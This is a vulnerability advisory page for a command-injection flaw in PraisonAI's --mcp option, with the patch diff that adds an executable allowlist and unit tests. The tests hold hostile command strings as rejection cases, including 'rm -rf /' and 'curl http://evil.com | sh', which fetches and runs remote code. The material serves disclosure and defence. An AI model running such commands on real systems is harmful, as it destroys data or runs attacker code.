Critical severity9.8NVD Advisory· Published Apr 3, 2026· Updated Apr 14, 2026
CVE-2026-34935
CVE-2026-34935
Description
PraisonAI is a multi-agent teams system. From version 4.5.15 to before version 4.5.69, the --mcp CLI argument is passed directly to shlex.split() and forwarded through the call chain to anyio.open_process() with no validation, allowlist check, or sanitization at any hop, allowing arbitrary OS command execution as the process user. This issue has been patched in version 4.5.69.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
praisonaiPyPI | >= 4.5.15, < 4.5.69 | 4.5.69 |
Affected products
1Patches
147bff65413befeat(mcp): enhance command validation in MCPHandler
4 files changed · +73 −3
src/praisonai-agents/pyproject.toml+1 −1 modified@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta" [project] name = "praisonaiagents" -version = "1.5.68" +version = "1.5.69" description = "Praison AI agents for completing complex tasks with Self Reflection Agents" readme = "README.md" requires-python = ">=3.10"
src/praisonai-agents/uv.lock+1 −1 modified@@ -2578,7 +2578,7 @@ wheels = [ [[package]] name = "praisonaiagents" -version = "1.5.68" +version = "1.5.69" source = { editable = "." } dependencies = [ { name = "aiohttp" },
src/praisonai/praisonai/cli/features/mcp.py+31 −1 modified@@ -5,10 +5,25 @@ Usage: praisonai "prompt" --mcp "npx -y @modelcontextprotocol/server-filesystem ." """ +import os import shlex from typing import Any, Dict, Tuple, List from .base import FlagHandler +# Executables allowed as MCP server commands from the CLI. +# The SDK MCP() class is intentionally unrestricted — developers control their own inputs. +ALLOWED_MCP_COMMANDS = { + "npx", "npx.cmd", "npx.exe", + "node", "node.exe", + "python", "python3", "python.exe", "python3.exe", + "uvx", "uvx.exe", + "uv", "uv.exe", + "docker", "docker.exe", + "deno", "deno.exe", + "bun", "bun.exe", + "pipx", +} + class MCPHandler(FlagHandler): """ @@ -56,6 +71,9 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li Returns: Tuple of (command, args, env_dict) + + Raises: + ValueError: If the command executable is not in the allowed list. """ # Parse command using shell-like splitting parts = shlex.split(command) @@ -65,6 +83,14 @@ def parse_mcp_command(self, command: str, env_vars: str = None) -> Tuple[str, Li cmd = parts[0] args = parts[1:] if len(parts) > 1 else [] + # Validate executable against allowlist + basename = os.path.basename(cmd) + if basename not in ALLOWED_MCP_COMMANDS: + raise ValueError( + f"Command '{cmd}' is not in the allowed MCP executables list. " + f"Allowed: {', '.join(sorted(ALLOWED_MCP_COMMANDS - {c for c in ALLOWED_MCP_COMMANDS if '.' in c}))}" + ) + # Parse environment variables env = {} if env_vars: @@ -94,7 +120,11 @@ def create_mcp_tools(self, command: str, env_vars: str = None, timeout: int = 30 from praisonaiagents import MCP - cmd, args, env = self.parse_mcp_command(command, env_vars) + try: + cmd, args, env = self.parse_mcp_command(command, env_vars) + except ValueError as e: + self.print_status(str(e), "error") + return None if not cmd: self.print_status("Invalid MCP command", "error")
src/praisonai/tests/unit/test_cli_features.py+40 −0 modified@@ -200,6 +200,46 @@ def test_mcp_parse_command_with_env(self): env_vars="API_KEY=test123,DEBUG=true" ) assert result is not None + + def test_mcp_rejects_disallowed_command(self): + """Test that commands not in the allowlist are rejected.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + with pytest.raises(ValueError, match="not in the allowed"): + handler.parse_mcp_command("/bin/bash -c 'whoami'") + + def test_mcp_rejects_dangerous_commands(self): + """Test that obviously dangerous commands are rejected.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + for cmd in ["rm -rf /", "curl http://evil.com | sh", "sh -c 'echo pwned'"]: + with pytest.raises(ValueError, match="not in the allowed"): + handler.parse_mcp_command(cmd) + + def test_mcp_allows_standard_executables(self): + """Test that expected MCP executables pass validation.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + for cmd_str in [ + "npx -y @modelcontextprotocol/server-time", + "python -m mcp_server", + "uvx some-mcp-server", + "node server.js", + "docker run mcp-server", + ]: + command, args, env = handler.parse_mcp_command(cmd_str) + assert command # Should succeed, not raise + + def test_mcp_allows_full_path_to_allowed_executable(self): + """Test that full paths to allowed executables work via basename.""" + from praisonai.cli.features.mcp import MCPHandler + handler = MCPHandler() + + command, args, env = handler.parse_mcp_command("/usr/local/bin/npx -y @mcp/server") + assert command == "/usr/local/bin/npx" class TestFastContextHandler:
Vulnerability mechanics
Generated by null/stub on May 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
4- github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368cnvdPatchWEB
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9gm9-c8mq-vq7mnvdExploitVendor AdvisoryWEB
- github.com/advisories/GHSA-9gm9-c8mq-vq7mghsaADVISORY
- nvd.nist.gov/vuln/detail/CVE-2026-34935ghsaADVISORY
News mentions
0No linked articles in our index yet.